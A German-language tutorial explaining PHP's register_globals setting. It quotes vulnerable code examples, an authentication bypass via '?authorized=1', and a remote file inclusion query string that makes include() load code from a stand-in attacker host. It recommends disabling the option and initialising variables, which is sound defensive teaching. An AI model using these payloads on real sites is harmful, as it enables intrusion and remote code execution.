Register Globals

Auch wenn es im folgenden nach einem „oder“ klingt: Man sollte am besten register_globals abschalten -  andernfalls nimmt man lokal eine uninitialisierte Variable bei register_globals=off, während bei einem Anwender register_globals eingeschaltet ist und aufgrund der fehlenden Initialisierung der Wert überschrieben werden kann.

Register_Globals ist eine Option, die in PHP automatisch REQUEST-Variablen als globale Variablen zur Verfügung stellt. Anders als vielfach behauptet, handelt es sich hierbei nicht per se um ein Sicherheitsrisiko, wohl aber um ein Problem sofern Skripte unsauber geschrieben werden. Nicht zuletzt aus diesem Grund ist die Option seit PHP4.2 deaktiviert und es ist zu empfehlen, Anwendungen nur bei register_globals=off zu entwickeln.

Doch warum handelt es sich bei dieser Option um ein Sicherheitsrisiko? Es ist schwierig, gute allgemeingültige Beispiele erstellen, da diese meistens identische Bedingungen bei den jeweiligen Nutzern voraussetzen. Im PHP-Handbuch findet sich zur Veranschaulichung:

Zitat<?php
if (authenticated_user())
{
    $authorized = true;
}
if ($authorized)
{
    include '/highly/sensitive/data.php';
}
?>

Solange register_globals aktiviert ist, kann die Seite mit dem QueryString „?authorized=1“ aufgerufen werden und der User umgeht direkt die hinterlegte Abfrage. Ganz offensichtlich handelt es sich hierbei um einen Fehler des Programmierers, register_globals trifft kein Vorwurf, doch verdeutlicht es das dieser in dieser Option liegende Risiko. Der beste Weg liegt darin, alle Variablen vor ihrer Nutzung zu initialisieren. Um das sicherzustellen sollte man ERROR_REPORTING auf E_ALL, ohne Einschränkungen, setzen – nur dann wird jede uninitialisierte Variable angezeigt.

Das folgende Beispiel verdeutlicht, welche Gefahr im unsauberen include() eines dynamischen Pfades liegt:

Zitat<?php
include "$path/script.php";
?>

Sofern register_globals auf TRUE gesetzt ist, kann ein Angreifer dieses Skript mit dem Querystring „?path=http%3A%2F%2Fevil.example.tld%2F%3F“ aufrufen, so daß das Skript am Ende nichts anderes tut als

Zitat<?php
include 'http://evil.example.org/?/script.php';
?>

Wenn nun neben register_globals auch noch die Option allow_url_fopen (bzw. allow_url_include in PHP >= 5.2.0) aktiviert ist – was bei PHP < 5.2.0 standardmäßig der Fall ist – wird das unter example.tld liegende Skript ausgeführt, als wäre es ein lokales. Dies ist ein sehr grosses Sicherheitsloch und es wurde schon in einigen Projekten gefunden.

Wenn man die Variable $path vor ihrer Verwendung initialisiert kann dieses Risiko verringert werden, doch genauso gut kann man bei register_globals=off programmieren. Während man das Initialisieren jederzeit relativ leicht übersehen kann, fällt so etwas bei abgeschaltetem register_globals ungleich schwerer.

Sicherlich ist die Handhabung von Daten bei aktiviertem register_globals wunderbar – und diejenigen, die Formulardaten auswerten mussten, waren dankbar für diese Möglichkeit. Doch die Superglobals _POST und _GET sind ebenfalls immer noch sehr bequem zu handhaben und für das bisschen Bequemlichkeit mehr ist es das ungleich höhere Risiko einfach nicht wert. Es bleibt am Ende die Empfehlung, register_globals abzuschalten.

Darüber hinaus fördert register_globals=off beim Programmierer das Bewusstsein, sich darüber Gedanken zu machen, woher die verwendeten Daten genau stammen; und dies ist wiederum ist ein wesentliches Merkmal sicherheitsorientierter Entwicklung.


Netzwerke